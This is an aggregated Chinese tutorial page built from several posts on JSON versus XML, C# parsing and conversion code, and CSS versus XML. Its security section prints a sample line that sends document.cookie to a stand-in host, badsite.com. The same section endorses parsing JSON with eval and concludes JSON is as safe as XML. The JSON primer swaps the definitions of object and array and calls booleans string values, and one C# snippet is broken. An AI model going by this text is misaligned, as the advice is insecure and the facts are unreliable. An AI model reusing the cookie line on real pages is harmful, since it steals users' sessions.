在这篇文章中,我们将为您详细介绍json与xml的区别的内容,并且讨论关于json与xml的区别优缺点的相关问题。此外,我们还会涉及一些关于.NETCoreC#中级篇2-6Json与XML、API接口
在这篇文章中,我们将为您详细介绍json与xml的区别的内容,并且讨论关于json与xml的区别 优缺点的相关问题。此外,我们还会涉及一些关于.NETCore C# 中级篇2-6 Json与XML、API接口常用数据格式Json,Json的定义和XML的区别、C#JSON与XML转换、css与xml的区别是什么的知识,以帮助您更全面地了解这个主题。
本文目录一览:- json与xml的区别(json与xml的区别 优缺点)
- .NETCore C# 中级篇2-6 Json与XML
- API接口常用数据格式Json,Json的定义和XML的区别
- C#JSON与XML转换
- css与xml的区别是什么
json与xml的区别(json与xml的区别 优缺点)
(点击获取更多资料的下载)
曾几何时,XML是程序员的宠儿,是数据传输、API、AJAX应用等方面的不二选择,但自从JSON横空出世后,或者你会发觉你身边就有很多人开 始抛弃XML,在他们的心目中,JSON已经完全取代了XML的位置。JSON有很多优势,但也存在缺点,而XML虽然确实存在不少问题,但孰优孰劣,并 不是可以依据个人喜好就轻易得出结论的。
JSON(Javascript Object Notation) 是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于Javascript Programming Language, Standard ECMA-262 3rd Edition – December 1999的一个子集。JSON采用完全独立于语言的文本格式,但是也使用了类似于C语言家族的习惯(包括C, C++, C#, Java, Javascript, Perl, Python等)。这些特性使JSON成为理想的数据交换语言。 正是因为这样,twitter已经声称他们的流媒体API将不再支持XML,Foursquare则强烈推荐开发者在使用他们的API时选择JSON,因 为他们计划下一代接口只支持JSON。
老k博客将从下面几个方面来客观比较一下两者
- 1. 可读性
- 2. 是否易于在服务端创建数据
- 3. 是否易于在客户端处理数据
- 4. 扩展性
- 5. 调试和故障排除
- 6. 安全
可读性
两者都具备很好的可读性,但从实际应用出发,个人还是觉得XML文档的可读性无疑会更高,要求你从一大堆的json代码里看出它的结构层次关系还是 相对比较困难的;而且现在很多的IDE工具都可以把XML格式化成易读的结构形式,看起来相当舒服,而json则不然。在这一方面我投XML一票。
是否易于在服务端创建数据
XML已经流行了好多年了,故目前流行的编程语言都已经存在大量的XML数据绑定API去进行创建XML,以java语言为例,你既可以用JAXB,又可以用XmlBeans,又或者dom4j、jdom等去把数据写到xml文件中。而另一方面,json这一方面的API则相对是一个全新的领域,尽管如此,json官方网站还是列出了很多令人印象深刻的各种语言的API,java方面比较著名的有json-lib,此外gson也算一个。在这一方面,虽然json相对于XML并不是望尘莫及,但还是略微逊色一筹,尤其是在复杂的应用方面,XML方面的API已经存在多年,相对来说成熟稳定得多了。
是否易于在客户端处理数据
在客户端,要处理XMLHttpRequest请求返回的json格式响应数据是一件轻而易举的事情,只需要使用javascript的eval函 数就可以实现把json格式的数据转换成javascript对象,然后通过对象的属性去访问值,这就是json最优雅之处,无数人为之着迷。而XML在 这一方面就不是那么的友善了,曾令无数的程序员头痛不已,因为处理XML响应数据,你得通过DOM树,这是非常繁琐且容易出错的工作。这一点,我毫不犹豫 地选择json。
扩展性
可扩展性有助于减少生产者与消费者之间的数据耦合。在AJAX应用里,客户端脚本应该合理地兼容不可知的数据扩展。
毫无疑问,XML是可扩展的,但它的扩展是有局限的,因为如果你要适应扩展的话,那么你的客户端代码不得不作出相应的改动,如以下的客户端解析代码
1 | var xml = xhr.responseXML; |
2 | var elements = xml.getElementsByTagName("firstName"); |
3 | var firstNameEl = elements[0]; |
4 | var lastNameEl = firstNameEl.nextSibling; |
如果你在响应xml中<firstName>结点后增加了<middlename>这一结点的话,那以上的代码就要作相应 的改变,否则会出错,也就是说,XML的扩展得伴随着解析代码的变更,这可没有什么魔法可言。而json则简单得多,即使你要增加middleName这 一属性,在js客户端依然是通过对象访问属性值即可,而不会引起js上的语法出错之类的错误,导致程序无法执行。
调试和故障排除
这方面需要从服务端和客户端两方面进行考虑,在服务器端,要确保数据是格式良好的和有效的;在客户端,它应该容易调试错误的。
使用XML的话会相对容易地检查数据被发送到客户端是格式良好的和有效的。您还可以使用数据架构(schema)来验证xml的正确性和有效性。使用JSON,这个任务是手动的,并涉及验证响应对象中是否包含正确的属性。
在客户端,要从两者中找到错误都是比较困难的。对于XML,浏览器是完全无法将xml格式化成responseXML;如果对于数据量较少的json数据,还可以通过firebug来发现错误,但对于大数据量的话,那只能靠手工检查了,否则也只能坐以待毙了。
安全性
有人认为,使用json是不安全的,原因是json里可以包含js代码,而客户端中使用eval可以使这些代码执行,而这些代码可能会存在安全隐患。如以下的代码:
1 | window.location ="<a href="http://badsite.com/">http://badsite.com</a>?" + document.cookie; |
2 | person : { |
3 | "firstName":"Subbu", |
4 | "lastName":"Allamaraju" |
5 | } |
上面的代码会导致浏览器把用户的cookie数据提交到一个流氓网站。但出现这种情况的可能只会是开发者故意为之,别人是无法这样做的,但如果是开 发者有意为之的话,那他一样以别的方式来实现把你的cookie数据提交到流氓网站,这与是否使用json无关,所以相对于XML,json是同样的安全 的。
数据交换格式比较之关于轻量级和重量级:
轻量级和重量级是相对来说的,那么XML相对于JSON的重量级体现在哪呢?我想应该体现在解析上,XML目前设计了两种解析方式:DOM和SAX;
DOM是把一个数据交换格式XML看成一个DOM对象,需要把XML文件整个读入内存,这一点上JSON和XML的原理是一样的,但是XML要考虑 父节点和子节点,这一点上JSON的解析难度要小很多,因为JSON构建于两种结构:key/value,键值对的集合;值的有序集合,可理解为数组;
SAX不需要整个读入文档就可以对解析出的内容进行处理,是一种逐步解析的方法。程序也可以随时终止解析。这样,一个大的文档就可以逐步的、一点一点的展现出来,所以SAX适合于大规模的解析。这一点,JSON目前是做不到得。
所以,JSON和XML的轻/重量级的区别在于:JSON只提供整体解析方案,而这种方法只在解析较少的数据时才能起到良好的效果;而XML提供了对大规模数据的逐步解析方案,这种方案很适合于对大量数据的处理。
数据交换格式比较之关于数据格式编码及解析的难度:
在编码上,虽然XML和JSON都有各自的编码工具,但是JSON的编码要比XML简单,即使不借助工具,也可以写出JSON代码,但要写出好的 XML代码就有点困难;与XML一样,JSON也是基于文本的,且它们都使用Unicode编码,且其与数据交换格式XML一样具有可读性。
主观上来看,JSON更为清晰且冗余更少些。JSON网站提供了对JSON语法的严格描述,只是描述较简短。从总体来看,XML比较适合于标记文档,而JSON却更适于进行数据交换处理。
在解析上,在普通的web应用领域,开发者经常为XML的解析伤脑筋,无论是服务器端生成或处理XML,还是客户端用 JavaScript 解析XML,都常常导致复杂的代码,极低的开发效率。
.NETCore C# 中级篇2-6 Json与XML
.NETCoreCSharp 中级篇2-6
本节内容为Json和XML操作
简介
Json和XML文本是计算机网络通信中常见的文本格式,其中Json其实就是JavaScript中的数组与对象,体现了一种面向对象的方式,而XML则是一种可标记语言,类似于我们的html标签,他更多的是体现一种层级关系。 但无论哪一种文本格式,我们都有学习的必要。
JSON
首先,介绍一下Json: Json其实就是JavaScript里面的对象和数组,通过不同的组合,可以构成许多不同的数据结构。其中使用花括号的是对象,中括号的是数组,例如:
{
"data":
{
"people":
[
{"name":"ppppp","age":18}
]
},
"status":0
}
这里面,data就是一个对象,而people就是一个数组。
如果你要处理Json数据,你在nuget上可以找到许多适宜的库,在这里,我是用的是LitJson,这可能是一个比较少见的库,但是我觉得很好用。
这里我给出我们的免费api地址https://www.sojson.com/api/weather.html,这里你可以请求到我们的json文本。
对于LitJson,它充分的阐明了我们Json的核心——数组与对象。对于LitJson,数组使用List<T>,对象则直接创建一个类进行处理。对于上面的例子,我们可以构造出如下的类关系
public class data
{
public List<People> people{ get; set; }
public int status{ get; set; }
}
// 下面操作将json文本转换成data的对象
Main()
{
JsonContent jsonc = JsonMapper.ToObject<data>(json);
foreach(var t in data)
}
更多内容可以看我的这篇博文Json处理实战,以及LitJson的官网
XML
XML也是广泛应用于网络信息交换的一种常见文本格式,他的书写有点类似于我们的html,正如之前所说,他更多的是阐明一种层级关系。例如下文便是一个常见的xml文本的格式。
<Computers>
<Computer ID="11111111" Description="Made in USA">
<name>Surface</name>
<price>5000</price>
</Computer>
<Computer ID="2222222" Description="Made in USA">
<name>IBM</name>
<price>10000</price>
</Computer>
<Computer ID="3333333" Description="Made in USA">
<name>Apple Mac</name>
<price>10000</price>
</Computer>
</Computers>
在C#中,我们操作XML同样的有许多库,这里我们使用XmlDocument进行操作。
XmlDocument类中的常用方法:
- Load(string path)加载文件路径的Xml
- SelectSingleNode(string node)选中节点
- ChildNodes,属性不是函数,用于获取所有子节点,返回XmlNodeList对象
- HasChildNodes属性,判断是否有子节点
- CreateElement创建新节点
- AppendChild(XmlElement node)追加子节点
- InsertBefore(XmlElement node,XmlElement ChildeNodes)向前插入
- SetAttribute(string name,string value)为指定节点的新建属性并赋值
- InnerText属性,获取内部文本
- Save()保存
XmlDocument myXmlDoc = new XmlDocument();
//加载xml文件(参数为xml文件的路径)
myXmlDoc.Load(xmlFilePath);
//获得第一个姓名匹配的节点(SelectSingleNode):此xml文件的根节点
XmlNode rootNode = myXmlDoc.SelectSingleNode("Computers");
//分别获得该节点的InnerXml和OuterXml信息
string innerXmlInfo = rootNode.InnerXml.ToString();
string outerXmlInfo = rootNode.OuterXml.ToString();
//获得该节点的子节点(即:该节点的第一层子节点)
XmlNodeList firstLevelNodeList = rootNode.ChildNodes;
foreach (XmlNode node in firstLevelNodeList)
{
//获得该节点的属性集合
XmlAttributeCollection attributeCol = node.Attributes;
foreach (XmlAttribute attri in attributeCol)
{
//获取属性名称与属性值
string name = attri.Name;
string value = attri.Value;
Console.WriteLine("{0} = {1}", name, value);
}
//判断此节点是否还有子节点
if (node.HasChildNodes)
{
//获取该节点的第一个子节点
XmlNode secondLevelNode1 = node.FirstChild;
//获取该节点的名字
string name = secondLevelNode1.Name;
//获取该节点的值(即:InnerText)
string innerText = secondLevelNode1.InnerText;
Console.WriteLine("{0} = {1}", name, innerText);
//获取该节点的第二个子节点(用数组下标获取)
XmlNode secondLevelNode2 = node.ChildNodes[1];
name = secondLevelNode2.Name;
innerText = secondLevelNode2.InnerText;
Console.WriteLine("{0} = {1}", name, innerText);
}
}
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
博主不常用xml,更多内容请参考微软官方文档以及https://www.cnblogs.com/zhengwei-cq/p/7242979.html的这篇博文
如果我的文章帮助了您,请您在github.NETCoreGuide项目帮我点一个star,在博客园中点一个关注和推荐。
Github
BiliBili主页
WarrenRyan''sBlog
博客园
API接口常用数据格式Json,Json的定义和XML的区别
现在程序员还有谁不知道 JSON 吗?无论对于前端还是后端,JSON 都是一种常见的数据格式。那么 JSON 到底是什么呢?
JSON 的定义
JSON (JavaScript Object Notation) ,是一种轻量级的数据交换格式。它的使用范围很广,并成为 ECMA 标准,可以被使用在多种编程语言中,用于前后端之间的数据传输、存储和交换数据。可以说是“用更少的编码,有更快的处理速度”,所以深受广大程序员的喜爱。
JSON 格式的数据是由键值对组成的,其中键值对之间使用逗号分隔。在 JSON 中,键和值都必须使用双引号引起来。
一个简单的 JSON 对象例子:
{ "name": "Apifox", "age": 2, "city": "Guangzhou" }
JSON 的含义和类型
JSON 用于 JavaScript,把任何 JavaScript 对象变成 JSON,即把这个对象序列化成一个 JSON 格式的字符串,然后通过网络传递给其他计算机。JSON 格式的字符串由双引号 “ ” 包裹,由键值对组成,键和值之间使用冒号 : 分隔,键值对之间使用逗号 , 分隔。值可以是字符串、数字、布尔、null、数组或对象等类型。
在 JSON 中,常见的数据类型有:
字符串:JavaScript 中的string,用于表示文本信息,包含反斜杠 \ 转义。
{ "name": "Apifox" }
数字:JavaScript 中的number,用于表示数值信息,可以是整数或浮点数。
{ "id": 48, "price": 17.95 }
布尔值:JavaScript 中的boolean,用于表示真假信息。布尔值并不包含在引号内,而是被视为字符串值。
{ "allowLogin": false }
null:JavaScript的null,用于表示空值。
{ "address": null }
对象:JavaScript的{ ... },表示方式用于表示有序的值的集合,每个值可以是任意类型。
{ "category" : { "id" : 675442 , "name" : "小狐" } }
数组:JavaScript的Array,表示方式为[],用于表示无序的键值对集合,每个键值对都是由键名和对应的值组成。
{ "list" : [ { "name" : "Lihua", "age" : 22, } { "name" : "Zhangsan", "age" : 25 } ] }
下面是一个完整的 JSON 数据示例:
{ "name": "Simon", "age": 2, "isMale": true, "hobbies": ["reading", "learning", "traveling"], "address": { "city": "Guangzhou", "postCode": "510000" }, "email": null }
JSON 数据的使用场景
JSON 的应用非常广泛。它被用于前后端之间的数据传输,也被用于存储和交换数据。在 Web 开发中,JSON 通常被用来获取来自服务器的数据。这些数据可以被使用在网页上,以便实现动态的交互和更新页面内容。同时,JSON 也被广泛应用于移动应用程序、桌面应用程序以及各种互联网服务中。
相比于其它数据格式,JSON 具有以下优势:
简洁易读:JSON 的语法比较简洁,易于阅读和编写。
解析速度快:JSON 的解析速度通常比其他数据格式更快。
兼容性好:JSON 和 JavaScript 的兼容性非常好,因为它们共享着相同的语法和数据结构。
JSON 与 XML
XML 是一种另外一种常见的数据格式(纯文本格式),也被广泛应用于数据交换。在 JSON 出现之前,大家一直用 XML 来传递数据。
但是相对于 JSON 而言,XML 规范比较复杂,JSON 的语法更加简洁,易于阅读和编写。且 JSON 的解析速度通常也比 XML 更快。同时,JSON 和 JavaScript 的兼容性非常好,因为它们共享着相同的语法和数据结构。
但是 XML 仍然是一种被广泛使用的数据格式,尤其在某些特定领域和场景下,它对于数据的描述更加严谨和准确,且支持更为复杂的数据结构和数据类型定义等。因此,在实际的编程和开发过程中,我们需要根据具体的场景和需要,选择合适的数据格式。
关于 JSON 的其他补充
除了上述内容,JSON 还有一些其他的相关内容:
JSONP:JSONP 是 JSON with Padding 的简称,是一种通过 script 标签跨域获取 JSON 数据的技术。
JSON Schema:JSON Schema 是一种用于验证和描述 JSON 数据的规范,它可以用于定义 JSON 数据的结构、格式和约束条件。
JSON Web Token(JWT) :JWT 是一种基于 JSON 的开放标准,用于在网络上安全地传输声明。它常被用于身份认证和授权场景中。
需要注意的是,JSON 虽然被广泛使用,但是它并不是一种完全安全的数据格式。在处理 JSON 数据时,需要注意防止 XSS 攻击和其他安全漏洞。因此,在使用 JSON 时,需要仔细考虑数据的来源和使用方式,以确保数据的安全性。
小结
JSON 作为一种轻量级的数据格式,具有更加简洁的语法和更好的解析速度。因此,学习如何使用JSON 已经变成了现代编程的基本技能之一。JSON 数据格式也是常用于 API 接口传输数据的格式。
C#JSON与XML转换
C#JSON转XML
输入:[{\''name\'': \''yancy\'',\''value\'': \''0\''},{\''name\'': \''jieny\'',\''value\'': \''1\''}]
string str = "[{\''name\'': \''yancy\'',\''value\'': \''0\''},{\''name\'': \''jieny\'',\''value\'': \''1\''}]";
调用方法:GetCustomItemSpecifics(str)
输出:<?xml version="1.0" encoding="utf-8"?><CustomItemSpecifics xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><ItemSpecifics><NameValueListType><Name xmlns="urn:ebay:apis:eBLBaseComponents">yancy</Name><Value xmlns="urn:ebay:apis:eBLBaseComponents">0</Value></NameValueListType><NameValueListType><Name xmlns="urn:ebay:apis:eBLBaseComponents">jieny</Name><Value xmlns="urn:ebay:apis:eBLBaseComponents">1</Value></NameValueListType></ItemSpecifics></CustomItemSpecifics>
代码:
GetCustomItemSpecifics
public static string GetCustomItemSpecifics(string str)
{
DataTable dt= JsonConvert.DeserializeObject<DataTable>(str);
List<Json2Xml.NameValueListType> nvl = new List<Json2Xml.NameValueListType>();
foreach (DataRow dr in dt.Rows)
{
Json2Xml.NameValueListType nv = new Json2Xml.NameValueListType();
string sName = dr["Name"].ToString();
string sValue = dr["Value"].ToString();
if (sName != string.Empty && sValue != string.Empty)
{
nv.Name = sName;
nv.Value = new string[] { sValue };
nvl.Add(nv);
}
}
if (nvl.Count == 0)
{
return string.Empty;
}
else
{
Json2Xml.CustomItemSpecifics t = new Json2Xml.CustomItemSpecifics();
t.ItemSpecifics = nvl.ToArray();
return Json2Xml.ObjectToText(t, typeof(Json2Xml.CustomItemSpecifics));
}
}
Json2Xml.cs
using System;
using System.IO;
using System.Text;
using System.Xml;
using System.Xml.Serialization;
namespace ConsoleApp1
{
public class Json2Xml
{
[System.CodeDom.Compiler.GeneratedCodeAttribute("System.Xml", "4.7.2612.0")]
[System.SerializableAttribute()]
[System.Xml.Serialization.XmlTypeAttribute(Namespace = "urn:ebay:apis:eBLBaseComponents")]
public enum ItemSpecificSourceCodeType
{
/// <remarks/>
ItemSpecific,
/// <remarks/>
Attribute,
/// <remarks/>
Product,
/// <remarks/>
CustomCode,
}
[System.CodeDom.Compiler.GeneratedCodeAttribute("System.Xml", "4.7.2612.0")]
[System.SerializableAttribute()]
[System.Diagnostics.DebuggerStepThroughAttribute()]
[System.ComponentModel.DesignerCategoryAttribute("code")]
[System.Xml.Serialization.XmlTypeAttribute(Namespace = "urn:ebay:apis:eBLBaseComponents")]
public partial class NameValueListType
{
private string nameField;
private string[] valueField;
private ItemSpecificSourceCodeType sourceField;
private bool sourceFieldSpecified;
private System.Xml.XmlElement[] anyField;
/// <remarks/>
public string Name
{
get
{
return this.nameField;
}
set
{
this.nameField = value;
}
}
/// <remarks/>
[System.Xml.Serialization.XmlElementAttribute("Value")]
public string[] Value
{
get
{
return this.valueField;
}
set
{
this.valueField = value;
}
}
/// <remarks/>
public ItemSpecificSourceCodeType Source
{
get
{
return this.sourceField;
}
set
{
this.sourceField = value;
}
}
/// <remarks/>
[System.Xml.Serialization.XmlIgnoreAttribute()]
public bool SourceSpecified
{
get
{
return this.sourceFieldSpecified;
}
set
{
this.sourceFieldSpecified = value;
}
}
/// <remarks/>
[System.Xml.Serialization.XmlAnyElementAttribute()]
public System.Xml.XmlElement[] Any
{
get
{
return this.anyField;
}
set
{
this.anyField = value;
}
}
}
public class CustomItemSpecifics
{
public NameValueListType[] ItemSpecifics;
}
public class Item
{
public string Name { get; set; }
public string Value { get; set; }
public string[] RecommValues { get; set; }
//public void DataTable2Entity(Item item, DataRow dr) {
// item.Name=dr.
//}
}
public static string ObjectToText(Object inObject, Type inType)
{
String XmlizedString = null;
MemoryStream ms = new MemoryStream();
XmlSerializer xs = new XmlSerializer(inType);
XmlTextWriter xmlTextWriter = new XmlTextWriter(ms, Encoding.UTF8);
xs.Serialize(xmlTextWriter, inObject);
ms = (MemoryStream)xmlTextWriter.BaseStream;
XmlizedString = UTF8ByteArrayToString(ms.ToArray());
return XmlizedString;
}
private static String UTF8ByteArrayToString(Byte[] characters)
{
UTF8Encoding encoding = new UTF8Encoding();
String constructedString = encoding.GetString(characters);
if (constructedString.Length > 0)
{
constructedString = constructedString.Substring(1);
}
return (constructedString);
}
public static Object TextToObject(string inText, Type inType)
{
try
{
if (string.IsNullOrEmpty(inText))
{
return null;
}
else
{
XmlSerializer xs = new XmlSerializer(inType);
MemoryStream ms = new MemoryStream(StringToUTF8ByteArray(inText));
XmlTextWriter xmlTextWriter = new XmlTextWriter(ms, Encoding.UTF8);
return (Object)xs.Deserialize(ms);
}
}
catch
{
return null;
}
}
private static byte[] StringToUTF8ByteArray(string inText)
{
UTF8Encoding encoding = new UTF8Encoding();
Byte[] byteArray = encoding.GetBytes(inText);
return byteArray;
}
}
}
C#XML转JSON
输入:<?xml version="1.0" encoding="utf-8"?><CustomItemSpecifics xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><ItemSpecifics><NameValueListType><Name xmlns="urn:ebay:apis:eBLBaseComponents">yancy</Name><Value xmlns="urn:ebay:apis:eBLBaseComponents">0</Value></NameValueListType><NameValueListType><Name xmlns="urn:ebay:apis:eBLBaseComponents">jieny</Name><Value xmlns="urn:ebay:apis:eBLBaseComponents">1</Value></NameValueListType></ItemSpecifics></CustomItemSpecifics>
调用方法:XmlToJSON(doc)
输出:{ "CustomItemSpecifics": {"ItemSpecifics": { "NameValueListType": [ {"Name": {"value": "yancy", "xmlns": "urn:ebay:apis:eBLBaseComponents" }, "Value": {"value": "0", "xmlns": "urn:ebay:apis:eBLBaseComponents" } }, {"Name": {"value": "jieny", "xmlns": "urn:ebay:apis:eBLBaseComponents" }, "Value": {"value": "1", "xmlns": "urn:ebay:apis:eBLBaseComponents" } } ] }, "xmlns:xsd": "http:\/\/www.w3.org\/2001\/XMLSchema", "xmlns:xsi": "http:\/\/www.w3.org\/2001\/XMLSchema-instance" }}
代码:
XmlToJSONHelper.cs
using System.Collections;
using System.Text;
using System.Xml;
namespace ConsoleApp1
{
public class XmlToJSONHelper
{
public static string XmlToJSON(XmlDocument xmlDoc)
{
StringBuilder sbJSON = new StringBuilder();
sbJSON.Append("{ ");
XmlToJSONnode(sbJSON, xmlDoc.DocumentElement, true);
sbJSON.Append("}");
return sbJSON.ToString();
}
public static void XmlToJSONnode(StringBuilder sbJSON, XmlElement node, bool showNodeName)
{
if (showNodeName)
sbJSON.Append("\"" + SafeJSON(node.Name) + "\": ");
sbJSON.Append("{");
SortedList childNodeNames = new SortedList();
if (node.Attributes != null)
foreach (XmlAttribute attr in node.Attributes)
StoreChildNode(childNodeNames, attr.Name, attr.InnerText);
foreach (XmlNode cnode in node.ChildNodes)
{
if (cnode is XmlText)
StoreChildNode(childNodeNames, "value", cnode.InnerText);
else if (cnode is XmlElement)
StoreChildNode(childNodeNames, cnode.Name, cnode);
}
foreach (string childname in childNodeNames.Keys)
{
ArrayList alChild = (ArrayList)childNodeNames[childname];
if (alChild.Count == 1)
OutputNode(childname, alChild[0], sbJSON, true);
else
{
sbJSON.Append(" \"" + SafeJSON(childname) + "\": [ ");
foreach (object Child in alChild)
OutputNode(childname, Child, sbJSON, false);
sbJSON.Remove(sbJSON.Length - 2, 2);
sbJSON.Append(" ], ");
}
}
sbJSON.Remove(sbJSON.Length - 2, 2);
sbJSON.Append(" }");
}
public static void StoreChildNode(SortedList childNodeNames, string nodeName, object nodeValue)
{
if (nodeValue is XmlElement)
{
XmlNode cnode = (XmlNode)nodeValue;
if (cnode.Attributes.Count == 0)
{
XmlNodeList children = cnode.ChildNodes;
if (children.Count == 0)
nodeValue = null;
else if (children.Count == 1 && (children[0] is XmlText))
nodeValue = ((XmlText)(children[0])).InnerText;
}
}
object oValuesAL = childNodeNames[nodeName];
ArrayList ValuesAL;
if (oValuesAL == null)
{
ValuesAL = new ArrayList();
childNodeNames[nodeName] = ValuesAL;
}
else
ValuesAL = (ArrayList)oValuesAL;
ValuesAL.Add(nodeValue);
}
public static void OutputNode(string childname, object alChild, StringBuilder sbJSON, bool showNodeName)
{
if (alChild == null)
{
if (showNodeName)
sbJSON.Append("\"" + SafeJSON(childname) + "\": ");
sbJSON.Append("null");
}
else if (alChild is string)
{
if (showNodeName)
sbJSON.Append("\"" + SafeJSON(childname) + "\": ");
string sChild = (string)alChild;
sChild = sChild.Trim();
sbJSON.Append("\"" + SafeJSON(sChild) + "\"");
}
else
XmlToJSONnode(sbJSON, (XmlElement)alChild, showNodeName);
sbJSON.Append(", ");
}
public static string SafeJSON(string sIn)
{
StringBuilder sbOut = new StringBuilder(sIn.Length);
foreach (char ch in sIn)
{
if (char.IsControl(ch) || ch == ''\'''')
{
int ich = (int)ch;
sbOut.Append(@"\u" + ich.ToString("x4"));
continue;
}
else if (ch == ''\"'' || ch == ''\\'' || ch == ''/'')
{ sbOut.Append(''\\''); }
sbOut.Append(ch);
}
return sbOut.ToString();
}
public static void StoreChildNode(IDictionary childNodeNames, string nodeName, object nodeValue)
{
ArrayList list2;
if (nodeValue is XmlElement)
{
XmlNode node = (XmlNode)nodeValue;
if (node.Attributes.Count == 0)
{
XmlNodeList childNodes = node.ChildNodes;
if (childNodes.Count == 0)
{
nodeValue = null;
}
else if ((childNodes.Count == 1) && (childNodes[0] is XmlText))
{
nodeValue = childNodes[0].InnerText;
}
}
}
object obj2 = childNodeNames[nodeName];
if (obj2 == null)
{
list2 = new ArrayList();
childNodeNames[nodeName] = list2;
}
else
{
list2 = (ArrayList)obj2;
}
list2.Add(nodeValue);
}
}
}
css与xml的区别是什么
区别是:css是层叠样式表单,是将样式信息与网页内容分离的一种标记语言,主要用来设计网页的样式,还可以对网页各元素进行格式化;xml是可扩展标记语言,是一种数据存储语言,用于使用简单的标记描述数据,将文档分成许多部件并对这些部件加以标识。
本教程操作环境:windows10系统、CSS3&&HTML5版本、Dell G3电脑。
css与xml的区别是什么
CSS—Cascading Style Sheet
层叠样式表单。是将样式信息与网页内容分离的一种标记语言。
CSS主要用来设计网页的样式,美化网页;它不仅可以静态地修饰网页,还可以配合各种脚本语言动态地对网页各元素进行格式化。
立即学习“前端免费学习笔记(深入)”;
CSS 能够对网页中元素位置的排版进行像素级精确控制,支持几乎所有的字体字号样式,拥有对网页对象和模型样式编辑的能力。
我们使用CSS为每个HTML元素定义样式,也可以用于多个界面。进行全局更新时,只需修改样式即可。
body { border :1px solid #000;/*整体的边框*/ font-size :14px; }
说白了,CSS就是设置网页上HTML元素属性的语言。
XML—Extensible Markup Language
可拓展标记语言。将文档分成许多部件并对这些部件加以标识。它也是元标记语言,即定义了用于定义其他与特定领域有关的、语义的、结构化的标记语言的句法语言。
可扩展标记语言(标准通用标记语言的子集)是一种简单的数据存储语言,使用一系列简单的标记描述数据,而这些标记可以用方便的方式建立,虽然可扩展标记语言占用的空间比二进制数据要占用更多的空间,但可扩展标记语言极其简单易于掌握和使用。
<Hello> <bcd>China</bcd> <bcd>USA</bcd> <bcd>UK</bcd> </Hello>
XML的设计目标关注于Internet上的简单性、通用性和可用性。它是一种文本数据格式,通过Unicode对不同的人类语言提供了强大的支持。虽然XML的设计主要关注文档,但是这种语言广泛用于表示任意数据结构,比如web服务中使用的数据结构。
(学习视频分享:css视频教程)
以上就是
今天的关于json与xml的区别和json与xml的区别 优缺点的分享已经结束,谢谢您的关注,如果想了解更多关于.NETCore C# 中级篇2-6 Json与XML、API接口常用数据格式Json,Json的定义和XML的区别、C#JSON与XML转换、css与xml的区别是什么的相关知识,请在本站进行查询。
本文标签: